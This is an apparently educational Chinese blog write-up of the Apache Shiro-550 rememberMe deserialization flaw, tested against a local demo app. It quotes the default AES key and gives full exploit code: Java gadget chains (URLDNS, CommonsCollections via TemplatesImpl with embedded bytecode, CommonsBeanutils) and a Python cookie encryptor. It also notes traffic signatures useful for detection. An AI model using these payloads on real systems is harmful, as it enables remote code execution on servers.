简介 Apache Shiro 是⼀个功能强⼤且易于使⽤的Java 安全框架,它⽤于处理身份验证,授权,加密和会话管理在默认情况下, Apache Shiro 使⽤CookieRememberMeManager 对⽤户身份进⾏序列化/反序列化,加密/解密和编码/解码,以供以后检索。
当Apache Shiro 接收到未经身份验证的⽤户请求时 , 会执⾏以下操作来寻找他们被记住的身份。
从请求数据包中提取Cookie 中rememberMe 字段的值,对提取的Cookie 值进⾏Base64 解码
对Base64 解码后的值进⾏AES解密
对解密后的字节数组调⽤ObjectInputStream.readObject()
⽅法来反序列化。
但是默认AES加密密钥是“硬编码” 在代码中的。因此,如果服务端采⽤默认加密密钥,那么攻击者就可以构造⼀个恶意对象,并对其进⾏序列化,AES 加密,Base64 编码,将其作为Cookie 中rememberMe 字段值发送。Apache Shiro 在接收到请求时会反序列化恶意对象,从⽽执⾏攻击者指定的任意代码。
shiro550 shiro <1.2.4 环境搭建 环境直接使用P神的shirodemo:https://github.com/phith0n/JavaThings/blob/master/shirodemo 下载后IDEA打开加载maven 即可。
接着添加tomcat,配置如下:
调成一个没有占用的端口,这里我设置的是8081。url不用改,之后会自动修改。
然后应用,启动tomcat即可。
源码分析 首先找到web 模块下org.apache.shiro.web.mgt.CookieRememberMeManager 类,然后找到 getRememberedSerializedIdentity()
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
不难看出这个方法进行了base64 解码。然后逆向追踪查找调用处,能够找到shiro-core 模块的org.apache.shiro.mgt 包的AbstractRememberMeManager 类。其中有一个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public PrincipalCollection getRememberedPrincipals (SubjectContext subjectContext) { PrincipalCollection principals = null ; try { byte [] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0 ) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
可以看到这里除了调用了getRememberedSerializedIdentity()
方法,还有一个convertBytesToPrincipals()
方法。
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
这里进入decrypt()
方法:
1 2 3 4 5 6 7 8 9 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
看到这里并结合简介的内容就可以知道应该是AES 加密。其中getDecryptionCipherKey()
方法用于获取加密的密钥,进入其中查看:
1 2 3 public byte [] getDecryptionCipherKey() { return decryptionCipherKey; }
查找该属性在哪里被赋值:
1 2 3 public void setDecryptionCipherKey (byte [] decryptionCipherKey) { this .decryptionCipherKey = decryptionCipherKey; }
继续查找该方法的调用,可以查到setCipherKey()
方法。
1 2 3 4 5 6 public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
继续查找调用,找到了构造方法:
1 2 3 4 5 public AbstractRememberMeManager () { this .serializer = new DefaultSerializer <PrincipalCollection>(); this .cipherService = new AesCipherService (); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); }
该构造方法传入了一个常量值:
1 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
到这里密钥我们就知道了。然后回到convertBytesToPrincipals()
方法:
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
刚才我们追踪的decrypt()
方法,所以现在追踪deserialize()
方法:
1 2 3 protected PrincipalCollection deserialize (byte [] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
继续跟踪getSerializer().deserialize(serializedIdentity)
发现是一个接口,那么查找实现类,找到shiro-core 模块,org.apache.shiro.io 包下的DefaultSerializer 类,查看该类中重写的deserialize()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public T deserialize (byte [] serialized) throws SerializationException { if (serialized == null ) { String msg = "argument cannot be null." ; throw new IllegalArgumentException (msg); } ByteArrayInputStream bais = new ByteArrayInputStream (serialized); BufferedInputStream bis = new BufferedInputStream (bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream (bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array." ; throw new SerializationException (msg, e); } }
使用了readObject()
方法,故存在反序列化漏洞。
payload
未登陆的情况下,请求包的cookie 中没有rememberMe 字段,返回包set-Cookie ⾥也没有deleteMe 字段。
登陆失败的话,不管勾选RememberMe 字段没有,返回包都会有rememberMe=deleteMe 字段。
不勾选RememberMe 字段,登陆成功的话,返回包set-Cookie 会有rememberMe=deleteMe 字段。但是之后的所有请求中Cookie 都不会有rememberMe 字段
勾选RememberMe 字段,登陆成功的话,返回包set-Cookie 会有rememberMe=deleteMe 字段,还会有rememberMe 字段,之后的所有请求中Cookie 都会有rememberMe 字段
经过分析可知服务器会对rememberMe 字段进行base64解码,然后AES解密,最后反序列化。所以payload 反着来就行。
最后在登录时勾选RememberMe 字段然后修改之后Cookie 中的rememberMe 字段为payload即可触发。
URLDNS检测 首先将URLDNS 的payload 序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class study2 { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap map = new HashMap <>(); URL url = new URL ("xxx" ); Class c = url.getClass(); Field fieldhashcode=c.getDeclaredField("hashCode" ); fieldhashcode.setAccessible(true ); fieldhashcode.set(url,222 ); map.put(url,"hello" ); fieldhashcode.set(url,-1 ); se(map); } public static void se (Object obj) throws IOException, ClassNotFoundException { FileOutputStream fileOut = new FileOutputStream ("bin.ser" ); ObjectOutputStream out = new ObjectOutputStream (fileOut); out.writeObject(obj); out.close(); fileOut.close(); } }
然后进行AES并BASE64:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Crypto.Cipher import AES import base64from Crypto.Random import get_random_bytes def encrypt_text (key, text) : BS = AES.block_size salt = get_random_bytes(16 ) cipher = AES.new(key, AES.MODE_CBC,salt) pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() return base64.b64encode(salt + cipher.encrypt(pad(data))) if __name__ == '__main__' : with open ('../bin.ser' ,'rb' ) as f: data = f.read() strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), data) print('rememberMe=' + strEN.decode())
访问shirodemo_war/login.jsp 页面的请求包时删除JSESSION ,否则rememberMe 字段不起作用。修改rememberMe 字段值为payload然后到DNSLOG 平台看记录即可。
CC 由于ClassUtils.forName()
方法的使用,反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。所以原来的CC链是无法利用的。回忆CC1的InvokerTransformer.transform()
是可以执行任意方法的,那么结合TemplatesImpl 不就可以加载任意恶意类的字节码吗?故有payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public class CC11 { public static void main (String[] args) throws Throwable { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_name" , "Cristrik010" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , new Class [] {}, new Object []{}), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap hashMap = new HashMap (); Map transformedMap = TransformedMap.decorate(hashMap, null ,chainedTransformer); transformedMap.put("xxx" , "xxx" ); } static void setFieldValue (Object object,String FieldName,Object data) throws Exception{ Field bytecodes = object.getClass().getDeclaredField(FieldName); bytecodes.setAccessible(true ); bytecodes.set(object,data); } }
方便理解,有流程图如下:
回到正题,这里仍然利用了Transformer 数组,可见也是无法利用的。但是回想一下CC6的TiedMapEntry 调用Lazymap.get()
方法的过程:
LazyMap lazyMap =(LazyMap) LazyMap.decorate(map,invokerTransformer)创建Lazymap
new TiedMapEntry(lazyMap,runtime):第一个参数传入构造好的Lazymap ,第二个传入Lazymap 中invokerTransformer 调用方法所属的对象
这里再看一下Transformer 数组:
1 2 3 4 Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , new Class [] {}, new Object []{}), };
数组第一个元素是invokerTransformer 调用方法所属的对象,第二个是invokerTransformer 。那么这个数组转换成TiedMapEntry 利用不就只有一个invokerTransformer 对象了吗,所以也就不用数组了。直接把CC6的payload拿来改改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;public class CC11 { public static void main (String[] args) throws Throwable { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_name" , "Cristrik010" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); HashMap hashMap = new HashMap <>(); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" , new Class [] {}, new Object []{}); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer (1 )); HashMap map1 = new HashMap (); map1.put(new TiedMapEntry (lazyMap,templates),"Critstrik010" ); lazyMap.remove(templates); Field field = LazyMap.class.getDeclaredField("factory" ); field.setAccessible(true ); field.set(lazyMap,invokerTransformer); se(map1); } static void setFieldValue (Object object,String FieldName,Object data) throws Exception{ Field bytecodes = object.getClass().getDeclaredField(FieldName); bytecodes.setAccessible(true ); bytecodes.set(object,data); } public static void se (Object obj) throws IOException, ClassNotFoundException { FileOutputStream fileOut = new FileOutputStream ("bin.ser" ); ObjectOutputStream out = new ObjectOutputStream (fileOut); out.writeObject(obj); out.close(); fileOut.close(); } }
然后进行AES和BASE64编码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from Crypto.Cipher import AESimport base64from Crypto.Random import get_random_bytesdef encrypt_text (key, text ): BS = AES.block_size salt = get_random_bytes(16 ) cipher = AES.new(key, AES.MODE_CBC,salt) pad = lambda s: s + ((BS - len (s) % BS) * chr (BS - len (s) % BS)).encode() return base64.b64encode(salt + cipher.encrypt(pad(data))) if __name__ == '__main__' : with open ('../bin.ser' ,'rb' ) as f: data = f.read() strEN = encrypt_text(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==" ), data) print ('rememberMe=' + strEN.decode())
抓包修改:
成功弹出计算器。
注:字节码来源Java加载字节码 | Cristrik010 (dotfogtme.ltd)
CommonsBeanutils无依赖反序列化利用 上面CC 链已经可以在shiro 利用了,但是有一个问题就是项目得有commons-collections 依赖,这种情况肯定不会很多。因此shiro 自带的CommonsBeanutils 就可以解决这个问题。
Apache Commons Beanutils 提供了对普通java 类对象(javaBean )的一些操作方法。在CommonsBeanutils 中有BeanComparator 类。这个类的compare()
方法实现了javaBean 的比较:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public int compare (Object o1, Object o2) { if (this .property == null ) { return this .comparator.compare(o1, o2); } else { try { Object value1 = PropertyUtils.getProperty(o1, this .property); Object value2 = PropertyUtils.getProperty(o2, this .property); return this .comparator.compare(value1, value2); } catch (IllegalAccessException var5) { throw new RuntimeException ("IllegalAccessException: " + var5.toString()); } catch (InvocationTargetException var6) { throw new RuntimeException ("InvocationTargetException: " + var6.toString()); } catch (NoSuchMethodException var7) { throw new RuntimeException ("NoSuchMethodException: " + var7.toString()); } } }
这个方法调用了PropertyUtils.getProperty(o1, this.property)
,该方法让使用者可以调用o1 对象this.property 属性的getter()
方法。到这里就需要找哪些getter()
可以利用呢?还真有,在TemplatesImpl 加载字节码:Java加载字节码 | Cristrik010 (dotfogtme.ltd) 这篇文章中,newTransformer()
是加载的起点,其实向上追踪还有一个方法:getOutputProperties()
:
1 2 3 4 5 6 7 8 public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
这命名不就是outputProperties 属性的构造方法吗?知道这些,那payload就好说了,直接调用这个getter()
方法。到写的时候才发现,怎么才能调用compare()
方法呢?于是逆向追踪哪里调用compare()
方法,找到java.util.PriorityQueue 这个类的siftUpUsingComparator()
方法
1 2 3 4 5 6 7 8 9 10 11 private void siftUpUsingComparator (int k, E x) { while (k > 0 ) { int parent = (k - 1 ) >>> 1 ; Object e = queue[parent]; if (comparator.compare(x, (E) e) >= 0 ) break ; queue[k] = e; k = parent; } queue[k] = x; }
这里comparator 需要是BeanComparator 对象,查找可知构造方法可以直接传入。但是private 继续向上查找,找到siftUp()
仍是private
1 2 3 4 5 6 private void siftUp (int k, E x) { if (comparator != null ) siftUpUsingComparator(k, x); else siftUpComparable(k, x); }
继续找,找到了offer()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public boolean offer (E e) { if (e == null ) throw new NullPointerException (); modCount++; int i = size; if (i >= queue.length) grow(i + 1 ); size = i + 1 ; if (i == 0 ) queue[0 ] = e; else siftUp(i, e); return true ; }
此时是public 。那么payload基本就有了,但是要思考一个问题,追踪了半天,这条链和反序列化有什么关系呢?接着观察PriorityQueue 类的readObject()
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
重点是最后的heapify()
跟踪发现,这个方法调用了调用关系如下:
1 2 3 4 heapify() siftDown() siftDownUsingComparator() comparator.compare()
siftDownUsingComparator()
和上面siftUpUsingComparator()
逻辑相似,这里不进行分析。构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.PriorityQueue;public class Mycb { public static void main (String[] args) throws Exception{ BeanComparator beanComparator = new BeanComparator (); PriorityQueue<Object> priorityQueue = new PriorityQueue <Object>(2 , beanComparator); priorityQueue.offer("1" ); priorityQueue.offer("2" ); setFieldValue(beanComparator,"property" ,"outputProperties" ); byte [] code = Base64.getDecoder().decode("yv66vgAAADQAOgoACQAhCgAiACMIACQKACIAJQkAJgAnCAAoCgApACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxFeHBsb2l0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAMRXhwbG9pdC5qYXZhDAAcAB0HAC8MADAAMQEABGNhbGMMADIAMwcANAwANQA2AQAFaGVsbG8HADcMADgAOQEAB0V4cGxvaXQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAIAAkAAAAAAAMAAQAKAAsAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAAoADgAAACAAAwAAAAEADwAQAAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAKABcAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAA8ADgAAACoABAAAAAEADwAQAAAAAAABABEAEgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAEAHAAdAAIADAAAAEwAAgABAAAAFiq3AAG4AAISA7YABFeyAAUSBrYAB7EAAAACAA0AAAASAAQAAAARAAQAEgANABMAFQAUAA4AAAAMAAEAAAAWAA8AEAAAABUAAAAEAAEAHgABAB8AAAACACA=" ); TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][] {code}); setFieldValue(templates, "_name" , "Cristrik010" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); setFieldValue(priorityQueue,"queue" ,new Object []{templates,templates}); se(priorityQueue); } static void setFieldValue (Object object,String FieldName,Object data) throws Exception{ Field bytecodes = object.getClass().getDeclaredField(FieldName); bytecodes.setAccessible(true ); bytecodes.set(object,data); } public static void se (Object obj) throws IOException, ClassNotFoundException { FileOutputStream fileOut = new FileOutputStream ("bin.ser" ); ObjectOutputStream out = new ObjectOutputStream (fileOut); out.writeObject(obj); out.close(); fileOut.close(); } }
然后抓包修改参数即可。流程图如下:
payload 过长的解决办法
使用urlclassloader 加载远程字节码
将字节码放在post 的body 中,恶意类实现加载body 中的字节码即可。
shiro721与shiro550的区别
这两个漏洞主要区别在于Shiro550 使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要Remember Cookie
Shiro721 的ase 加密的key 基本猜不到,系统随机生成,可使用登录后rememberMe 去爆破正确的key 值,即利用有效的RememberMe Cookie 作为Padding Oracle Attack 的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击,难度高
版本区别
Shiro 框架1.2.4 版本之前的登录时默认是先验证rememberMe Cookie 的值,而不是先进行身份验证,这也是Shiro550 漏洞能够利用的原因之一,攻击者可以利用该漏洞通过伪造rememberMe Cookie 的值来绕过Shiro 框架的身份认证机制,从而实现未授权访问
Shiro 框架1.2.4 版本之后的登录时先进行身份验证,而不是先验证rememberMe Cookie 的值,所以攻击者需要知道受害者已经通过登录验证,并且Shiro框架已经为受害者创建了一个有效的会话,以便攻击者可以利用该会话ID 进行身份伪造并绕过Shiro 框架的权限控制机制
同时,Shiro 框架的登录流程也是可以自定义的。
流量特征
请求包Cookie 的rememberMe 中会存在AES +base64 加密的一串java 反序列化代码。
返回包中存在base64 加密数据,该数据可作为攻击成功的判定条件。
reference